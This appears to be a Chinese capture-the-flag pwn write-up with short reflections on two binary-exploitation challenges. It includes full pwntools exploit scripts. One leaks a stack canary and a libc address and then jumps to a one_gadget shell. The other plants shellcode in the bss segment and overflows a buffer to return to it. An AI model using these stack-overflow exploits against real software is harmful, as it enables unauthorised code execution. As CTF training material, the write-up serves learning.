2021_1_10寒假100pwn(2/100)

0rays招新赛_2020_PIE:

题目:

    题目地址

思路:

    由于strcpy存在\x00截断, 所以前两次分别可以获得canary和__libc_start_main+231的地址, 然后第三次输入要输入一个地址并且会输出地址上存放的值, 猜测本意是想让我们获得main函数之类的地址来获得PIE的基址, 但是由于本人还没有深入了解__libc_start_main函数, 所以就单纯输入之前获得的地址来避免读取非法地址而崩溃, 最后用one_gadget一把梭就可以了

exp:

from pwn import *
sh=process(['./pie'])
elf=ELF('./pie')
libc=ELF('./libc.so.6')
context.log_level='debug'
one_gadget=[0x4f3d5,0x4f432,0x10a41c]

sh.recv()
sh.sendline('a'*24)
sh.recvuntil('\n')
canary=u64(sh.recv(7).rjust(8,'\x00'))
print hex(canary)
#gdb.attach(sh)
sh.send('a'*40)
sh.recvuntil('a'*40)
libc_231=sh.recv(6).ljust(8,'\x00')
libc_start_main=u64(libc_231)-231
base=libc_start_main-libc.sym['__libc_start_main']
print hex(libc_start_main)
sh.recv()   
payload='no'+'\x00'*6+p64(0)*2+p64(canary)+p64(0)+p64(one_gadget[2]+base)
sh.sendline(payload)
sh.interactive()   

反思:

    其实在比赛的时候写脚本就已经完成了, 但是因为没有调环境, 导致一个偏移出错, 远程一直打不通
    然后关于换libc, 如果使用patchelf的话, 不推荐使用–replace-needed的选项, 因为可能会导致奇怪的报错, 推荐以下格式使用:

patchelf --set-interpreter ./glibc-all-in-one/libs/2.27-3ubuntu1.4_amd64/ld-linux-x86-64.so.2 --set-rpath ./glibc-all-in-one/libs/2.27-3ubuntu1.4_amd64 ./pie

ciscn_2019_n_5

思路:

    bss段可写导致可以写入shellcode, 然后控制程序返回到shellcode处就可以了

exp:

#!/usr/bin/env python
# coding=utf-8
from pwn import *
context.arch = 'amd64'                                                                                  
elf=ELF('./ciscn_2019_n_5')
sh=process('./ciscn_2019_n_5')

#gdb.attach(sh)
pop_di=0x0400713
payload=asm(shellcraft.amd64.sh())
sh.sendline(payload)
payload2='a'*0x20+'b'*8+p64(0x601080)
sh.recv()
sh.sendline(payload2)
sh.interactive()

反思:

    写shellcode记得加上框架, 要不然没用:

context.arch='amd64' 和 asm(shellcraft.amd64.sh())

猜你喜欢

转载自blog.csdn.net/eeeeeight/article/details/112466692
100
今日推荐